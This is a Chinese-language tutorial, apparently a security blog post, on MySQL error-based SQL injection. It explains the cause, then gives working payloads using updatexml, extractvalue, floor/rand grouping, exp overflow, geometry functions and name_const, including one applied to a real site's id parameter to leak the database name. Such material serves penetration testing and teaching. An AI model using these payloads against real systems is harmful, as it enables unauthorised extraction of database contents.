MySQL报错注入
注入简介
什么是报错注入?
顾名思义,报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据,本章节讲述的注入,数据库为MySQL
报错注入成因
那么报错注入是怎么形成的呢?
首先是应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
其次,必不可少就是后台未对MySQL相应的报错函数进行过滤
引入知识
updatexml()函数。语法为
1 | UPDATEXML (XML_document, XPath_string, new_value); |
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
如果找不到相应的xpath路径,updatexml函数就会报出错误
concat()函数。此函数用于连接字符串;由于updatexml()函数xpath路径需要连接特殊字符,被连接的特殊字符需要进行16进制编码
concat_ws()函数。语法concat_ws(0x7e,database(),use()),会把查出来的库名和用户通过~连接起来完成报错
注入实现
在挖互联网漏洞的时候,遇到的报错注入,打开漏洞所在url,如下图
对id传参输入单引号进行测试,发行MySQL报错,并且直接爆出了表名,如下图
这个报错,已经爆出了完整语句,我们尝试对源语句进行闭合,payload:) and (1,如下图
构建报错语句,payload:) and updatexml(1,concat(0x7e,database()),1) and (1
,如下图
扩展
在日常测试中,后台可能会过滤掉一些常用函数,那么有没有其他函数来替代呢?肯定是有的!
Xpath报错
updatexml()函数,用法就不在过多介绍
extractvalue()函数,payload:
select * from test where id=1 and (extractvalue(1,concat(0x7e,database()));
虚拟表主键位重复报错
floor()函数,payload:
select * from test where id=1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
fioor函数报错详细资料参考:mysql的floor()报错注入方法详细分析 - 小friend - 博客园
MYSQL floor 报错注入详解_Gundam-的博客-CSDN博客_floor报错注入原理
其他待测试函数
整形溢出报错
exp()函数,整形溢出报错,注意:在MySQL5.5.5版本之后才会报错,但是应该是仅仅在5.5.*的子版本,语法:
exp(~(select * from (select database())x))
几何函数报错
函数对参数要求是形如(1 2,2 2,3 3),几何数据,如果不满足则会报错,主要函数包括,可在5.6.22版本测试,我用5.5.5没测出来
估计影响是在5.6.*的子版本,5.7也不行
语法:
multipoint(select * from (select * from ( select * from (select database())c)b)a)
multipoint()函数,
geometrycollection()函数
multilinestring()函数
linestring()函数
multipolygon()函数
polygon()函数
列名重复报错
name_const(name,value)函数会用传入参数返回一系列结果集,传入参数必须是常量,经过测试只能查version(),略鸡肋
语法:select * from (select name_const(version(),1),name_const(version(),1))a;
参考
参考文章:十种MySQL报错注入 - 我擦咧什么鬼 - 博客园
参考文章:MySQL报错注入函数汇总_Au.J的博客-CSDN博客_mysql报错注入函数
参考书籍:《代码审计:企业级Web代码安全架构》